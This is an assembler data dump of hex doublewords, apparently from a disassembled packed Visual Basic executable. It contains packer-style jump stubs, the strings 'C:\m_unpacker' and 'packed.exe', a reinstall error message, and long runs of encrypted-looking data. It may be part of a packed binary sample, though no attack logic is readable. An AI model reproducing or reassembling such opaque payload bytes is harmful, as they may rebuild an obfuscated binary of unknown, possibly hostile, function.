		dd 4598DDFEh, 0A558294h, 0B6AF01A1h, 829A96Ah, 0FAB1EFE0h
		dd 0F18D64CDh, 3BBB7264h, 28E8F40Eh, 731A168Fh,	0E7D8EF52h
		dd 3AB30615h, 930DFEF0h, 1AD4EB18h, 0D8F73350h,	0D410D2ABh
		dd 0F718E2DBh, 8B892B94h, 1B326AB6h, 966658A2h,	78A52575h
		dd 8F9E6861h, 4C79833Ch, 58B1BB32h, 219C23FFh, 0E58A86CDh
		dd 1294AA9h, 59727C22h,	0E6BDE35Bh, 0DE28A2B9h,	0B8F15ABDh
		dd 6307B4h, 833C5380h, 30831F88h, 0A72753ABh, 0D0095C6Bh
		dd 3D635446h, 1DD03966h, 105B5973h, 0DCAE3FF6h,	0C8C4C55Fh
		dd 636BDAC4h, 51A1C2E6h, 0B2EEDFD1h, 0A261CAF7h, 0CA53A4C2h
		dd 429E344Ah, 0D9710CF7h, 835FEh, 3CDA0500h, 16E0DA2Dh
		dd 0F23CB407h, 0C95390E3h, 9F7B67BAh, 0AB944F90h, 81D4E33Fh
		dd 59ACBB4Bh, 32859462h, 24606FB9h, 8BC8DA43h, 47E27A13h
		dd 12E4D5A0h, 0D05A9320h, 0B4CB24DEh, 0CECEEF39h, 299FB6FCh
		dd 5C8DBCDDh, 1D34BBCAh, 0D5395AACh, 0DF283CA5h, 7B1h
		dd 61876A00h, 0C0000004h, 0B95FC06h, 0AD0A73A0h, 277A0D48h
		dd 94159CB6h, 0DD9176B2h, 0BD021092h, 0DE1A9A6Ah, 0D3866E8Bh
		dd 9BB53DC8h, 0CF8F21F2h, 7A0D2EB4h, 374E7B26h,	0EF39B485h
		dd 0FFF12DFDh, 42AB0E2Fh, 9F58E43Dh, 0C4B5A727h, 2F98C5DCh
		dd 97B44289h, 89A0CD4Dh, 1DCDC650h, 6E85E809h, 0F62CEB7Dh
		dd 684709C9h, 11CA1D2Ch, 8C43F107h, 8C24C8E0h, 765B1h
		dd 6C8A3500h, 46D00A5Dh, 22ECE437h, 0F903C013h,	0CF2B97EAh
		dd 0DB647FC0h, 0B10413EFh, 89DCEB3Bh, 62B5C452h, 54909F69h
		dd 8C980A73h, 77127A13h, 12E4D5D0h, 0E579320h, 8A5A4CDAh
		dd 1C07214Eh, 482C136h,	20F6E6DFh, 0F83D5E2Eh, 0E50C2671h
		dd 890B8269h, 0B851D68h, 0A5257266h, 0F4AFF184h, 4D5D5EC7h
		dd 0FF7F7A14h, 0F30FBBD2h, 0AD103101h, 85914B62h, 12CAC393h
		dd 21421204h, 202FF9F2h, 180A1CCDh, 5327927h, 660B559Ch
		dd 4673F372h, 5D6CBE2Fh, 0FD09BFD6h, 0EB1A3B0Bh, 753628F2h
		dd 0A6986E5Eh, 5886B5D6h, 43D6A8BEh, 39D12DBCh,	6B15Eh
		dd 0B8468100h
		dd 926456A9h, 6EB83083h, 45DF0C5Fh, 1BE7E336h, 2718CB0Ch
		dd 0FD505FBBh, 0D52837CFh, 0AE0110E6h, 0A0DCEB3Dh, 8D4C56BFh
		dd 0C35E7A13h, 742F711Ch, 6BBD3047h, 737EE74Ah,	0D57A1384h
		dd 0C3DD2855h, 0B574FBCDh, 0C2F112AFh, 9DF0FF09h, 0F7E8DA2Ch
		dd 7F9745A9h, 5CB9E952h, 71F16AB6h, 0F9F10835h,	40A90C2Dh
		dd 725E7513h, 216379F9h, 822DB106h, 6380FEAh, 0D9080000h
		dd 0EDDD303Fh, 1B70A19h, 5693E6F5h, 7C6ABDCCh, 915293A2h
		dd 0D9E832B0h, 0B1C05686h, 8A996F5Eh, 65748637h, 0C3DF4829h
		dd 0E77A138Dh, 0E4D5A54Ch, 485F2012h, 0C0908294h, 0AD7F709Fh
		dd 6ABC2EBBh, 26F0EB78h, 0B932A434h, 0E2027BD1h, 4E25750Dh
		dd 1A983228h, 1D3EC803h, 1C2BFDEEh, 0B73C7B95h,	6E660FD9h
		dd 4CB9E94Dh, 13C5DF27h, 2E000000h, 114D7214h, 3DB35311h
		dd 8194B5F1h, 23F87h, 0E4D5C000h, 712F2012h, 4DA40D3Ah
		dd 0FB7A1385h, 0A0196C7Bh, 95D12D99h, 4EA816A3h, 9118883Fh
		dd 40D5FB64h, 0B1317265h, 0AA7C6D84h, 8597489Bh, 3ED80693h
		dd 0D7408B4Ch, 6308BCCBh, 3B199FDFh, 0D1F46AC0h, 0BFE17495h
		dd 235FBB27h, 0E876DCF6h, 766BD61Dh, 0EFBFB147h, 0C62F92B3h
		dd 6AB15239h, 2CFAEE2Bh, 182E6A3Ah, 35E3CA92h, 43BA952Dh
		dd 13000005h, 0E83B4AD4h, 0C21524F6h, 9EF1000Eh, 75C8D721h
		dd 5D9EAD49h, 0F501BD86h, 0CD5993E6h, 0A6706BBEh, 818B4497h
		dd 0EC553672h, 7A138EB6h, 0D5B259F4h, 932012E4h, 50DA135Ah
		dd 72682214h, 0CB5D8E58h, 380434BCh, 710DF28h, 0C9000000h
		dd 12387h, 0E4D5C000h, 42EAB821h, 40C07265h, 76EEE04h
		dd 61F9DD18h, 4D986h, 0E03EA900h, 0BA4C7ED1h, 966058ABh
		dd 6DB73487h, 43DF0B5Eh, 4FF0F334h, 25788793h, 0FD505FB7h
		dd 0D62938CEh, 0C80413E5h, 8F247EE7h, 0EB867A13h, 21E4D544h
		dd 6542EAB8h, 440C072h,	0C2548512h, 8A2016D0h, 0F3B9833Ch
		dd 0F1D39A50h, 5DE5F430h, 0DF27E82Dh, 0EBF8F913h, 7D7A295h
		dd 343171DAh, 0F9797266h, 199BD8h, 0A1540000h, 0CCC8568Ah
		dd 0E27EC5D9h, 0AB28498Eh, 90h,	8A87E4h, 71C00000h, 0DE47742Fh
		dd 7A138613h, 0D2C3B535h, 3DA6D3CEh, 725F1CA2h,	12EC0282h
		dd 0ED2DB1A7h, 4347A55h, 0C5040000h, 0E1D92C3Bh, 3DB30615h
		dd 528FE2F1h, 7866B9C8h, 954E8F9Eh, 0D5E43EACh,	0ADBC4A82h
		dd 8695635Ah, 6170BA33h, 0C7DB4425h, 0E37A138Fh, 2F71A148h
		dd 42881A83h, 0A60F7265h, 726541FCh, 0D7142EAEh, 99D511E5h
		dd 90E8036Ch, 0D4547A0Dh, 0CE5890A7h, 0F4851ABFh, 8F406ABCh
		dd 0A51B6E7Dh, 0CF8C6759h, 0C5000003h, 47742F71h, 138613DEh
		dd 0C3B5357Ah, 0A6D3CED2h, 0A7C8528Fh, 1D04DB44h, 0A020725Fh
		dd 0B1A7BE8Ah, 0EE9812Dh, 3A6h,	9EAD4B76h, 7887934Bh, 5463B325h
		dd 2B3AC401h, 110EAD8h,	0AC1A23C0h, 0FCF04352h,	15C81B2Ah
		dd 28A1F403h, 0B293CFDEh, 13905949h, 0FB6517Ah,	47742F71h
		dd 138617DEh, 8CB9397Ah, 0A8B32A41h, 89AAE630h,	8897615Ah
		dd 80728435h, 970B74BFh, 136AB6FFh, 0C1DF7293h,	36A6BDEAh
		dd 984BF320h, 0A2DE6181h, 5CBFE0B0h, 657491F3h,	305DDD72h
		dd 5E57A719h, 0D8A89A6Ch, 8C3D54B7h, 0A7186B7Ah, 2E726355h
		dd 7ADD4673h, 9A6AB121h, 793E041Ah, 59F135E3h, 30D7Eh
		dd 14E2DD00h, 0EE38B205h, 0CA548CDFh, 0A17B68BBh, 77833F92h
		dd 83BC2768h, 59ACBB47h, 31849363h, 0A5D6CBAh, 0FC3847D1h
		dd 90F0B21Bh, 1FBA7A13h, 12E4D578h, 0D05A9320h,	0B960AC1h
		dd 6A2275DEh, 145F7A0Dh, 0BD19F7ABh, 6B37A06Ah,	3F6ABD1Ah
		dd 425A5BFh, 634234B4h,	6ABD1A3Bh, 0CFC15B88h, 8D7F8942h
		dd 6C3CCE00h, 0F8E6F0CAh, 51CEE21Eh, 8274823Ah,	399191B2h
		dd 13865F79h, 501FF123h, 0E9BCB2Fh, 44A7E6D1h, 60000000h
		dd 47742F71h, 0D48C5DEh, 0BDD47Ah, 4885D5F6h, 54468294h
		dd 0BD3C2975h, 0EB027F6Ah, 653527F3h, 87A8726Ch, 3E6E3387h
		dd 24E6D042h, 483270D9h, 0F8786ABDh, 0BF9AD7h, 0EC030000h
		dd 0BF3029F3h, 0D5394C6Dh, 932012E4h, 4CD9CB57h, 1712CC93h
		dd 6541F4AEh, 0FA36B672h, 0AFC3808h, 0ABBA4C7Dh, 4ADC0D24h
		dd 998B9B51h, 4927A8C9h, 1E726546h, 0F94C5BADh,	0B44279C0h
		dd 0C4B6F2C2h, 0A9D6CDD3h, 139D768Fh, 0E102CAA3h, 0E056157Eh
		dd 66E67A0Ch, 0A900A057h, 7315137Ch, 21A17267h,	15E1DDF4h
		dd 2B37B306h, 38DB6436h, 4B619D67h, 2DB4F595h, 0CBBB962Eh
		dd 9B000001h, 70C3D22Ch, 4A9DAC7Eh, 26798896h, 0FD505FB9h
		dd 0E52635C1h, 7D9945FEh, 55A11B6Eh, 2EF8F346h,	913CC1Fh
		dd 74DDBEFAh, 7A13922Eh, 0D53AE17Ch, 0ABFE0DE9h, 52D9E832h
		dd 9949F238h, 0EB0C42A5h, 742F71D8h, 48C5DE47h,	67E77A0Dh
		dd 3C089675h, 86A06ABDh, 423D6D34h, 0B949E6D0h,	2000000h
		dd 0E512E4D5h, 4271319Ah, 0B9397265h, 0E7E37098h, 264A291Bh
		dd 41726547h, 0E86F7E88h, 3D6E349Dh, 0FC3C7265h, 0FBBCD517h
		dd 0FB1C5838h, 170913CCh, 77833F56h, 194B585h, 6ED7049Fh
		dd 7A0CE1FDh, 0F9B0BF3Fh, 66CFFCA7h, 72677163h,	916B5895h
		dd 0C3DD2855h, 12F1B154h, 49766F52h, 635F8EAFh,	0C12A1CD7h
		dd 2B67660Ah, 11DC91Ch,	0B4737BEBh, 512CC42Dh, 0F2h, 0EAF907C2h
		dd 0C4D32797h, 0A0AF7F71h, 7786904Dh, 4D5CA624h, 7866D70Ch
		dd 803C8F9Eh, 0D9146776h, 0FCED404Fh, 0FEDF1B2Ah, 13930D95h
		dd 5B029D7Ah, 0BD4DE9D5h, 1D785CDFh, 4194A3DFh,	386F7E88h
		dd 0E512E4D5h, 0E8091FCEh, 0B0BA33C0h, 0AECE7231h, 8E9850ACh
		dd 5490CC9Ch, 57D21027h, 65EFB4EEh, 3A76F672h, 12577848h
		dd 315E455Bh, 1431B8C8h, 12EAE7Ah, 0AE554DB6h, 0E4556AB7h
		dd 0B7AE277Bh, 0C703836Ah, 0F8F17EA6h, 13CC1F2Eh, 0B3381709h
		dd 0CE7B25BDh, 99526436h, 1B501ED2h, 83EFC093h,	4E1E104Ch
		dd 7BCBE512h, 8A391AF1h, 0DD307596h, 996D5DECh,	0D616305Dh
		dd 8878757Ch, 794BCDDh,	0BCE64FDAh, 0EE5A4A03h,	0B340326Eh
		dd 0D95FE3Bh, 9D5A4A03h, 62EFE11Dh, 40A99B65h, 0B18112A8h
		dd 0B22BBB0Fh, 0D5065968h, 3765143h, 0AF000000h, 0EAD562E5h
		dd 5C8D1A0Ch, 904BD8CAh, 0D5079486h, 4C24F41h, 4F7B08FAh
		dd 0B734C1B3h, 0FAEE7B6Dh, 3DAD3A2Ch, 5379F7E9h, 0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 0E2895224h,	4C281h,	0EA810000h
		dd 4, 5C241487h, 56243489h, 0C681E689h,	4, 4EE81h, 34870000h
		dd 2C895C24h, 98B85024h, 25625818h, 1223A66h, 6B840D48h
		dd 0F7501F1Ah, 0C1582414h, 0FC3506E8h, 89042DD5h, 0EC8358C6h
		dd 24248904h, 4240483h,	33B8505Dh, 2D5EF56Ah, 4EEA0C64h
		dd 0B5DC735h, 89E80110h, 34FF5830h, 0C4835D24h,	24348B04h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FAF714E9h, 4830A4FFh
		dd 6D92D50Eh, 0B8ADEF6h, 0B8262098h, 7AE522Ah, 0E0FFC503h
		dd 614E7ADh, 557A7E5Eh,	7B93B221h, 70EA20DCh, 46B5EDA0h
		dd 3081D5CCh, 7922061Bh, 49E6C66Ch, 483BD32Eh, 2D0EDFDCh
		dd 751DCA87h, 49A4A4CAh, 631D7621h, 0CE8EC10h, 1A605A33h
		dd 45309B69h, 6D5C4793h, 1730A8BAh, 5161C3Bh, 4C9151Fh
		dd 532CCDFBh, 5C385218h, 695B3FBEh, 16A9BA09h, 2647DF6Bh
		dd 2BA030AAh, 7B42CD3Ah, 7A39399Eh, 61E39CCFh, 0BE6E6A0h
		dd 167E9h, 0FE51DF00h, 8360DD73h, 5C3A437Ch, 6E755F6Dh
		dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah	dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 3 dup(0)
		dd 1C2DE9h, 56DE6800h, 0E0E907AEh, 68FFFA2Ah, 7AE57D7h
		dd 0FA2AD6E9h, 58DF68FFh, 0CCE907AEh, 68FFFA2Ah, 7AE5985h
		dd 0FA2AC2E9h, 59C468FFh, 0B8E907AEh, 68FFFA2Ah, 7AE5A7Ah
		dd 0FA2AAEE9h, 5AE268FFh, 0A4E907AEh, 68FFFA2Ah, 7AE5B32h
		dd 0FA2A9AE9h, 62C868FFh, 90E907AEh, 68FFFA2Ah,	7AE633Dh
		dd 0FA2A86E9h, 63FF68FFh, 7CE907AEh, 68FFFA2Ah,	7AE64F3h
		dd 0FA2A72E9h, 657268FFh, 68E907AEh, 68FFFA2Ah,	7AE6637h
		dd 0FA2A5EE9h, 670668FFh, 54E907AEh, 68FFFA2Ah,	7AE67A9h
		dd 0FA2A4AE9h, 6DB568FFh, 40E907AEh, 68FFFA2Ah,	7AE6ED4h
		dd 0FA2A36E9h, 6F7268FFh, 2CE907AEh, 41FFFA2Ah,	89728790h
		dd 0CEB7CCCBh, 0FF80D0Ah, 4E374C4Bh, 6573888Fh,	85924164h
		dd 0C7D08770h, 0B0CC9B2h, 4A4D0DF6h, 70B65535h,	0CBAB1B3Ah
		dd 0C7F8A640h, 8D8A5017h, 9D4F5C2h, 0B8CDCA8Ch,	0E0CD090Eh
		dd 198599Ah, 468C5FDBh,	0DB019810h, 23EE0F16h, 1985F99h
		dd 447D7ADBh, 0E8B58097h, 987FB5FBh, 7E85DB01h,	34E04B66h
		dd 0E3F0257Eh, 40C3h, 1106C100h, 5D92D8C5h, 63DB0176h
		dd 0E5C41DC3h, 1A3B21DAh, 0D97DB64Fh, 0B076ACF2h, 757CDB01h
		dd 0A4BC8954h, 1B07AB4h, 117C95DBh, 95CB1166h, 9BDB01B0h
		dd 367C7C94h, 0BE3FFC1h, 0E5h, 0A672AB09h, 119E6B1h, 0E9AB7C1Eh
		dd 0B37E993Eh, 2DFAC5E6h, 11C4410Ch, 1CBE3B06h,	0E3B330FBh
		dd 0B6819644h, 70A1D71Dh, 0A0A7D359h, 53495E7Fh, 0D3597465h
		dd 5B91D72Ch, 61D35974h, 0BF5F425Ah, 0F89A8398h, 41D614DFh
		dd 0E086A895h, 39B4A8ADh, 0A83BE07Ch, 0E2F74CEh, 0FCB1F7F6h
		dd 2DB0228h, 73B90EFBh,	0DB02293Dh, 94F3C43h, 0DB0229D3h
		dd 93BAD2D9h, 0BBA86CE9h, 4614D382h, 19183051h,	0ACD9BCD3h
		dd 8E4A83E2h, 11B17189h, 0E3AA65E2h, 362344D1h,	24395EFDh
		dd 877F983Bh, 0FC1A50F8h, 50C49C31h, 0E9000019h, 311A2F28h
		dd 765F7463h, 0B7A0B5A2h, 0F6DFF4E3h, 0D1B3027h, 2D2AE9BCh
		dd 6F682F18h, 0B3A4715Ah, 0F2E5B59Eh, 185EFDDDh, 0CBAB1AE2h
		dd 0ABA04EE8h, 9FB7A072h, 0E9FE19BCh, 24395E00h, 0C5110638h
		dd 765D92D8h, 5C63DB01h, 76CD0791h, 0ECB0DB01h,	0F3A320EBh
		dd 54756234h, 0C42F4089h, 0C8334CE5h, 0FFFB561Ch, 0C7ABE3h
		dd 0C7A90000h, 0DA130017h, 0CCDD843Ah, 6C680BA5h, 0D956334Bh
		dd 0C8521D3Ah, 0D358FADAh, 0E5FA1DBDh, 723D5AFCh, 83E84D9h
		dd 0ED358FAh, 0CC978057h, 22C6DEFFh, 9FF4E135h,	21F1B666h
		dd 7D9E6B36h, 0DDCDE5B2h, 0DB012028h, 1E549AEFh, 24DB0120h
		dd 0AFCA631Dh, 0BCD55B92h, 6B2DE4A4h, 8C364B6Ch, 185E4B8Bh
		dd 0E2AC11F0h, 0AD02EFF6h, 12DC1258h, 0DBE2E2ACh, 804B4C0Ah
		dd 0E5B89BB3h, 5F809742h, 0A5B2614Ah, 1B1EB0ADh, 8058EDFCh
		dd 1857h, 13282FF0h, 586D6A2Ah,	99AEA96Fh, 0D8EDEAB0h
		dd 162B2CEFh, 31E4C108h, 71281126h, 0B3685166h,	0F4A68FA4h
		dd 4FEECEE3h, 0AB19D309h, 913FD9CBh, 0EE0314C7h, 2D425505h
		dd 789AB41h, 192CFA6h, 26F8DBF3h, 29E96631h, 0AAF0DB7Eh
		dd 0D3589074h, 8752737Ah, 7F8499BAh, 69819646h,	978450C5h
		dd 0B71851h, 518ADFDBh,	7CB29087h, 76DB00B7h, 884F0BCh
		dd 0B4BB69ECh, 7A4B81C7h, 4A51DB00h, 20D27232h,	7529E818h
		dd 149E698Ah, 0DB0104DAh, 0FED6F8F5h, 4EB5C6B7h, 78E3FE16h
		dd 0FF6E86CCh, 0B55BE3h, 0EB400000h, 0D56FA5h, 5CA275DBh
		dd 0DB00D526h, 1704252Ch, 0D59BD1h, 829AA1DBh, 0E06DC39Ch
		dd 6CB29F77h, 0DB01764Bh, 53214A51h, 0AF9C1DEBh, 0DFCC080Dh
		dd 442B4099h, 743F46B7h, 8F52136h, 0EFA3A2C2h, 0B4A1A8BEh
		dd 0D3FE3D5Fh, 7ADF19C6h, 0B8DF7F62h, 0FF18BAA3h, 0DF421407h
		dd 30089D18h, 174Fh, 0B2037E8h,	50657222h, 91A6B167h, 0D0E5F2A8h
		dd 0E2334E7h, 39DCC900h, 7920091Eh, 0BB60495Eh,	0FC9E879Ch
		dd 47E6C6DBh, 0AB18CB01h, 8937D1CBh, 936589ABh,	5EF3FD2Dh
		dd 0A4B36346h, 5ABA9BD9h, 0A8EE276Dh, 0EDF4DB00h, 0F2B1D3D8h
		dd 0A2F3BA51h, 0C3563C54h, 8D4C856Dh, 0FC1D3ADAh, 0FFD740E4h
		dd 76ABCC12h, 0DEB1DB01h, 1766298h, 406168DBh, 71054917h
		dd 93CC622Ah, 1ABED6C1h, 0A6ECD93Dh, 69D27E4Dh,	43814C53h
		dd 0CF1502D2h, 717DF6AFh, 88C1AEB5h, 0C3ACC1D6h, 270C0413h
		dd 0A46D6D3Ah, 16A9370Fh, 91420000h, 0D4887186h, 13C5AEC3h
		dd 5006EF04h, 8A493247h, 5F6A788Dh, 6B809746h, 0ABC0D782h
		dd 0ED0215C2h, 30455204h, 356BB150h, 3BCBAB17h,	17C7F3A1h
		dd 40010800h, 35CA0CB6h, 166A5Dh, 45520300h, 82954730h
		dd 0C3D4846Dh, 611C5AEh, 425508F1h, 0FBAA1F2Dh,	412A3F58h
		dd 836C8196h, 0C3ACC1D6h, 0FEF0413h, 16F42A70h,	60FACBABh
		dd 17C7B2h, 0B61EF735h,	755E83C9h, 9164DB01h, 175154Bh
		dd 0F3141BDBh, 0EDB7D9DEh, 6E86B5F2h, 47E8CFE7h, 0E6D30314h
		dd 0AA037FA0h, 557E85E2h, 52BB9F87h, 8054C17Fh,	0C7F44D93h
		dd 43FA86FAh, 1502D493h, 3B5C7D4Ah, 4982D770h, 7AB08E89h
		dd 8086FAC8h, 58BD6179h, 183A8F7Ch, 6A44687Ch, 0C3B3CBBFh
		dd 8EA6C6A3h, 7CB5A2A9h, 0A3A8BDDAh, 3C907481h,	99B1BD50h
		dd 0FBF3E4B6h, 4804643Ah, 0B45A32C7h, 4D000015h, 8D768B8Ch
		dd 0CAB3C8CFh, 0BF4090Eh, 4A33484Fh, 69778C8Bh,	81964560h
		dd 0C3D4836Ch, 710C5AEh, 4E4909F2h, 74BA5939h, 0CBAB163Eh
		dd 0BAFCAA44h, 0D3597084h, 5542124Bh, 80134D3Dh, 0AFE9D359h
		dd 76D35990h, 0AF7A9D3Dh, 0A0DACAE2h, 67D35990h, 0C034445h
		dd 6F875026h, 0D5CDCA8Ch, 0F349D1CAh, 4C5E36CBh, 0E5000015h
		dd 250E2334h, 624B6077h, 0A38CA1B6h, 0E2CBE0F7h, 10F2433h
		dd 193EDDC8h, 5B7C1B04h, 9FB85D46h, 0E6F1A18Ah,	0C52F1D1h
		dd 0CBAB16D6h, 69442DCh, 92D8C511h, 0DB017CC9h,	0AEE16E90h
		dd 3822D7A9h, 61596020h, 0F4E1FF48h, 0FCE8C055h, 95000014h
		dd 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h,	0B1BFD4C3h
		dd 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah,	0BC02A181h
		dd 0CBAB1586h, 0AB44F28Ch, 0ECB7A072h, 7224071Fh, 0C8019A65h
		dd 0A13A0512h, 5970255Bh, 3242BD3h, 5A726532h, 0E5B0A777h
		dd 0B15DC85Fh, 1BA7FDF9h, 1E40h, 80BA3E00h, 63D35970h
		dd 8A8FA4B3h, 0C9948351h, 39F4E4FCh, 0CCD3B4F6h, 14812901h
		dd 0C76B0000h, 3A2A6717h, 92FE31F2h, 0EF68A671h, 53013A27h
		dd 0CCEA04ABh, 0F31468B3h, 44435B28h, 10675FEh,	0A1E73CDBh
		dd 0DB01066Bh, 92526A71h, 4BCC768Bh, 307F3FDBh,	0A826F8A2h
		dd 0CE9B6687h, 0BD7AC0ADh, 84E2A945h, 0C08B8C4Bh, 141BDBF3h
		dd 0B0CCC49h, 45C700F6h, 0EAAAE2A9h, 0AD789F3Dh, 0C1AABFE0h
		dd 0BC390413h, 8B8C4F18h, 0ABE127C0h, 0B1E2A945h, 9D6889AAh
		dd 935E7920h, 85504716h, 57425508h, 7F9877E2h, 0A86CFB66h
		dd 0DE949AAFh, 23EB182Ah, 257h,	0C5110621h, 8F4A83D8h
		dd 0D8F0BD88h, 1A5D7E8h, 407C9EDBh, 9C8708F0h, 7FB5FBE8h
		dd 85DB022Bh, 9FA6667Eh, 0D13A90B2h, 4650E502h,	0D4512Eh
		dd 7B190217h, 0CD07915Ch, 0B0DB01EFh, 0A11EE9EEh, 5116E1F6h
		dd 51EECD38h, 0CF223A5Ch, 5E3B71B7h, 3A41DB02h,	9CEF0780h
		dd 17D2056h, 0FE1F26DBh, 0D160CBE6h, 55FF1403h,	0EE2714C0h
		dd 0FC738F2Fh, 7C891B3Bh, 0FE44435Bh, 0E2AA23F5h, 0AC29F4FBh
		dd 0F0D9EEE9h, 0C65F2A2Dh, 3B7A73A4h, 0B1829721h, 5A27F2E5h
		dd 261A5242h, 2031E2AAh, 607726B5h, 0ABF1464Bh,	0E2AA2675h
		dd 0B85C747Bh, 358A775Fh, 0D0CB0813h, 0DDF5EC94h, 5195ACEDh
		dd 0E0ABB2EAh, 0B7A4B363h, 0A4BCDB7Eh, 0D5C2947Dh, 954A800Ah
		dd 5061EA51h, 938456E5h, 20C7957Eh, 0C6935E79h,	0BF5DDAA5h
		dd 8850CD98h, 9047C48Fh, 0DEF7BC87h, 2730E473h,	69D4ED06h
		dd 81D3ADAh, 0AFDA4802h, 0BC91F2h, 0AB8F0000h, 0E5B0A772h
		dd 7E1D0018h, 0D3F58E59h, 0B85CABABh, 5329E59Fh, 0CC8F728Ah
		dd 223B00CBh, 627528B7h, 9EF3484Dh, 58E22258h, 432128D3h
		dd 0D358E20Dh, 7D9F7313h, 3A2BD967h, 49010119h,	901BA74Bh
		dd 76h,	17C78Eh, 41E6B835h, 0EBB88394h,	3B5C7B1Ah, 2792AB70h
		dd 8097437Ch, 0C2D58568h, 0FDE3A7ADh, 4F361BA7h, 1B000000h
		dd 684A80C6h, 4950D359h, 11064B31h, 5192D8C5h, 57DB018Ah
		dd 0C1FB8550h, 0A4DB018Ah, 9D1AE5F2h, 0CB14DFF8h, 0D7704FBAh
		dd 0E3F4A1DAh, 0DFF89B18h, 208BA6BEh, 7B9C3C75h, 0B0F6E3B0h
		dd 0DB018A7Ah, 61617980h, 0E3F01B29h, 96F0h, 1106EE00h
		dd 9D92D8C5h, 0A3DB019Dh, 8054D19Ch, 9D4F85CBh,	4E55DB01h
		dd 6D2F182Dh, 0CD069F6Ah, 77440F08h, 0BFD87C5Fh, 0AB162FF4h
		dd 4A5F781Ch, 4A4D0C45h, 7D29197Fh, 2EA9CDF1h, 0BDF5F50Dh
		dd 84E3FF39h, 49h, 0F7130682h, 32FD1ABEh, 70518765h, 5057D359h
		dd 0A6FC422Fh, 6D535970h, 0A6716634h, 0FA01C1D9h, 1205D40Dh
		dd 5FB9E147h, 0EF398E81h, 4FD9B6CEh, 5358C915h,	92E24DFAh
		dd 1C624F87h, 0D358C9C6h, 6CB0C5CCh, 7,	5C6CAEh, 0C7AE0000h
		dd 0D56F6D11h, 2E15CD37h, 17C5420Dh, 5202EB00h,	37A26FACh
		dd 0ED0ED2ADh, 0F57DE422h, 98653027h, 86518A77h, 28F9C691h
		dd 0C9966176h, 23BD4B1h, 0DD764156h, 59616197h,	3F6067D3h
		dd 60FC3727h, 0FE17D359h, 0EA3E793h, 3E931BA8h,	5955C2F8h
		dd 0A9C1C8D3h, 0BF78Dh,	1F068B00h, 707FB5FBh, 0B062D359h
		dd 610FDCA7h, 0C9EAEDAAh, 9453DDA8h, 0AF5D04A4h, 0CB7F2B96h
		dd 0E6DF331h, 30h, 0A672AB0Ch, 70699FE5h, 686FD359h, 848B2F47h
		dd 0BDDEF99Ch, 70548AD0h, 535AD359h, 3E6AFE88h,	6C857CCDh
		dd 331D5501h, 0C0E44D24h, 0E2000002h, 0F3C71F06h, 0B85E89ABh
		dd 99F6E826h, 9FB7D8FFh, 17C7788Ch, 926F2C00h, 0D39EB959h
		dd 0AB08EE06h, 0ECB7A072h, 18E9651Fh, 26D1C5B1h, 0E5340E0Eh
		dd 71AA1EA7h, 1EEBB6A1h, 0BE898E4Dh, 4FBDD9F1h,	0A2000000h
		dd 0EFA9AE69h, 8CF95131h, 0EFD5ED28h, 0F3C71F06h, 702C65ABh
		dd 2B32D359h, 6DA3E93Eh, 73D35970h, 0A985E1D3h,	0C2E36182h
		dd 6FABC4AAh, 0B1A672ABh, 1E0119E6h, 37705D7Ah,	0DEAB7661h
		dd 7075ABF1h, 747BD359h, 0A872765Ch, 346Ch, 72ABAE00h
		dd 6CE9B4A3h, 728AABACh, 0BB8F47CEh, 702C65ABh,	6CF1D359h
		dd 1056AB98h, 0D35970DAh, 0C2C1D9E0h, 611C786h,	3A8F7232h
		dd 5970BEF4h, 0A5BDC4D3h, 0AA7BBABFh, 0BF5E5C31h, 0F89A8398h
		dd 78B1DEDFh, 1FECB7A0h, 5E5B9665h, 122A25C9h, 1EBB6C2Fh
		dd 0ADD7D8F9h, 9A3CCB36h, 0C393547Dh, 0B48CC208h, 0DB925C31h
		dd 814E193Eh, 30523F60h, 982A9E62h, 0CEE1F9BAh,	8357B7B9h
		dd 8D4CC994h, 706BBF8Ah, 9F82605h, 63D1F39Eh, 7CB2F8EBh
		dd 825C317Ah, 243FC17Bh, 0D0ACFA0h, 0BE4012F5h,	4515E964h
		dd 0BA8752h, 0B3D49073h, 0E09C98Ah, 8159FC0Dh, 5C321F48h
		dd 0D57ED0Fh, 7F981E1Fh, 0B3A0A767h, 0A1B9DE7Ah, 82ED648Eh
		dd 0F349B5D7h, 1B36BA11h, 597E2003h, 2D315330h,	0F83BF55Dh
		dd 5D282FECh, 74576F90h, 6AEBB6A1h, 5245110Fh, 4D4A0A87h
		dd 39A4BD82h, 1DE8EFAAh, 0D53E2F50h, 6F38DB6Ah,	16E3AEA9h
		dd 27F7E0F5h, 55214330h, 0E90E1D77h, 2FFA1DBFh,	16294162h
		dd 5C2C7E9h, 1572B48Ah,	9F7B1AFDh, 5C320166h, 5C92D82Dh
		dd 625C3201h, 7C83435Bh, 9B06257Bh, 244D4A0Ch, 0B7A4B363h
		dd 0A3BBDC7Eh, 16087B90h, 0D8A5542h, 0A277484Fh, 0C25EAB5h
		dd 87B2C2A1h, 31CD8D1Ch, 5181A5B9h, 475002B3h, 1BDC0526h
		dd 4A5B5C7Bh, 618B8C8Bh, 2EF07FEAh, 0AB3C0029h,	0EAB5A272h
		dd 7022051Dh, 83979367h, 0EFC31306h, 724C89ABh,	34B1D314h
		dd 0AA1DE11Ch, 1EA7F590h, 4829h, 13062700h, 0FA9DD6C3h
		dd 0ABDFC5DDh, 0ECB7A072h, 0B6EC321Fh, 0BCD35970h, 589E9DB5h
		dd 0D359701Fh, 0DC311E25h, 59706096h, 475F66D3h, 0C76FAB61h
		dd 722E0215h, 9483568Fh, 130563C9h, 9FFD3ECDh, 6C80667Eh
		dd 3Bh,	0C31306AEh, 156ABEFh, 597085BBh, 6C848BD3h, 5970437Ch
		dd 968308D3h, 70C5FB41h, 0EBFD359h, 0DE40D607h,	0D4ECF3A1h
		dd 156ABEEh, 597085BBh,	6C848BD3h, 215C786h, 0BAA8722Eh
		dd 0D35981ABh, 0FCEC123Eh, 0BA54FFFFh, 0D3597080h, 4E63BBA2h
		dd 26F4B365h, 0A0C1D681h, 2A4E08D5h, 55F2F288h,	0C453253h
